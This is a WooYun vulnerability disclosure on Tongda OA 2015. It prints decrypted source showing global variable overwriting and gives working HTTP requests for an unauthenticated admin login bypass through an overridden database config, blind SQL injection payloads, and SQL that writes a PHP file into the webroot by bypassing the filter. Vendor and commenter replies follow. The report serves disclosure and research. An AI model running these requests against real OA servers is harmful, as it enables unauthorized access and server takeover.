当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(79) 关注此漏洞

缺陷编号: WooYun-2016-168661

漏洞标题: 通达OA 2015多处漏洞合集(无需登录SQL注入GETSHELL)

相关厂商: 通达信科

漏洞作者: loopx9认证白帽子

提交时间: 2016-01-09 15:12

公开时间: 2016-01-28 17:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码分析 后台验证绕过

15人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-09: 细节已通知厂商并且等待厂商处理中
2016-01-09: 厂商已经确认,细节仅向厂商公开
2016-01-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-04: 细节向核心白帽子及相关领域专家公开
2016-03-14: 细节向普通白帽子公开
2016-03-24: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

众测需要,下载了一套来看看。

详细说明:

程序源代码使用了Zend Guard加密,需要先解密。

0x1 全局变量覆盖漏洞

/inc/common.inc.php:

code 区域
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value ) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
$$s_key = $_COOKIE[$s_key];
}

reset($_COOKIE);
}

if (0 < count($_POST)) {
$arr_html_fields = array();

foreach ($_POST as $s_key => $s_value ) {
if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
if (!is_array($s_value)) {
$_POST[$s_key] = addslashes(strip_tags($s_value));
}

$$s_key = $_POST[$s_key];
}
else {
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
$$s_key = addslashes($s_value);
$arr_html_fields[$s_key] = $$s_key;
}
}

reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}

if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value ) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
$$s_key = $_GET[$s_key];
}

reset($_GET);
}

没做任何过滤,直接赋值了, POST方式还可以覆盖数组变量。

看到这里是不是似曾相识?...

没错,与早前的dedecms变量覆盖漏洞如出一辙。



0x02 管理员身份登录

覆盖数据库配置。

通用配置文件 /inc/td_config.php:

1.png



载入数据库配置是在include common.inc.php之后,可以被覆盖。

code 区域
POST /logincheck.php HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 160
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=ue1gt851bg38l6txsbd8vp5;

USERNAME=admin&PASSWORD=wooyun1234&MYOA_MASTER_DB[id]=1&MYOA_MASTER_DB[host]=**.**.**.**&MYOA_MASTER_DB[user]=oa&MYOA_MASTER_DB[pwd]=123&MYOA_MASTER_DB[db]=oa



覆盖数据库配置,连接外部数据库(服务器需能够访问外网),这样就能以admin身份登录OA后台了。

2.png





0x3 SQL注入

general\document\models\mrecv.php:

注入1:

3.png



利用变量覆盖,可以不用登录就能利用sql注入。

\inc\td_framework\core\Framework.php:

4.png



code 区域
POST /general/document/index.php/recv/register/turn HTTP/1.1
User-Agent: curl/7.33.0
Host: **.**.**.**
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 33
Content-Type: application/x-www-form-urlencoded

_SERVER=&rid=exp(if((1=1),1,710))



1=2时报错,可以盲注

注入2:

5.png



code 区域
POST /general/document/index.php/recv/register/insert HTTP/1.1
User-Agent: curl/7.33.0
Host: **.**.**.**
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

title)values("'"^exp(if(1%3d1,1,710)))#=1&_SERVER=

1=2时报错。

注入还有很多,就不找了。



0x4 OA后台getshell

后台有导入sql功能,可以导出shell。

8.png



code 区域
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F706870206563686F2022776F6F79756E20746573742E223B3F3E) into outfile '../webroot/test.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;



系统默认取消了root的file权限,需要更新权限才能导出。

code 区域
http://**.**.**.**/test.php



虽然系统对sql做了过滤,但还是可以绕过的。

/inc/conn.php:

code 区域
function sql_injection($db_string)
{
$clean = "";
$error = "";
$old_pos = 0;
$pos = -1;

while (true) {
$pos = strpos($db_string, "'", $pos + 1);

if ($pos === false) {
break;
}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true) {
$pos1 = strpos($db_string, "'", $pos + 1);
$pos2 = strpos($db_string, "\\", $pos + 1);

if ($pos1 === false) {
break;
}
else {
if (($pos2 == false) || ($pos1 < $pos2)) {
$pos = $pos1;
break;
}
}

$pos = $pos2 + 1;
}

$clean .= "\$s\$";
$old_pos = $pos + 1;
}

$clean .= substr($db_string, $old_pos);
......(省略)





跳过了单引号包裹的字符串,所以上边的into outfile没有被拦截。

漏洞证明:

注入1:

6.png



注入2:

7.png



9.png

修复方案:

开代码很累的,来个20分吧。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-01-09 21:22

厂商回复:

没有试验成功,较难利用。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2016-01-09 19:08 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    0

    666 666

  2. 2016-01-09 21:37 | 我是壮丁 认证白帽子 ( 实习白帽子 | Rank:40 漏洞数:2 | 专业打酱油)
    0

    尽然没有成功。。。。。不知道你怎么看poc的。。。

  3. 2016-01-09 23:00 | whynot ( 普通白帽子 | Rank:670 漏洞数:134 | 为你解冻冰河 为你放弃世界有何不可)
    0

    @我是壮丁 蓝v好帅气 什么时候才能有个 哎

  4. 2016-01-10 10:33 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    0

    @通达信科 厂商好可爱。。。

  5. 2016-03-15 15:14 | 艺术家 ( 普通白帽子 | Rank:492 漏洞数:101 | 我觉得我像个艺术家。)
    1

    确实有点难利用,有GPC的问题。没有看作者POC。

  6. 2016-03-15 17:37 | scanf ( 核心白帽子 | Rank:1457 漏洞数:207 | 。)
    1

    不是吧我都利用成功了

  7. 2016-03-15 18:15 | 艺术家 ( 普通白帽子 | Rank:492 漏洞数:101 | 我觉得我像个艺术家。)
    1

    @scanf 转成char 与0x7c,没有问题了,完美。没有任何限制

  8. 2016-03-16 19:41 | hydoor ( 普通白帽子 | Rank:227 漏洞数:45 | -Q)
    1

    3个wb坑的我不要不要的。

  9. 2016-04-12 14:17 | 神在堕落 ( 路人 | Rank:5 漏洞数:6 | 我想一扁舟,平躺任水流.)
    1

    @hydoor testlrj@foxmail.com 我不想被坑,嘿嘿。。。。帅哥哥。ORZ

  10. 2016-04-12 14:17 | Space ( 路人 | Rank:9 漏洞数:6 | 程序猿)
    1

    厂商太抠

  11. 2016-04-12 14:32 | whynot ( 普通白帽子 | Rank:670 漏洞数:134 | 为你解冻冰河 为你放弃世界有何不可)
    1

    @loopx9 请教下数据库密码加密方式 是md5(unix)这种类型的吗 试了10个一个能解开也登录不上去、

登录后才能发表评论,请先 登录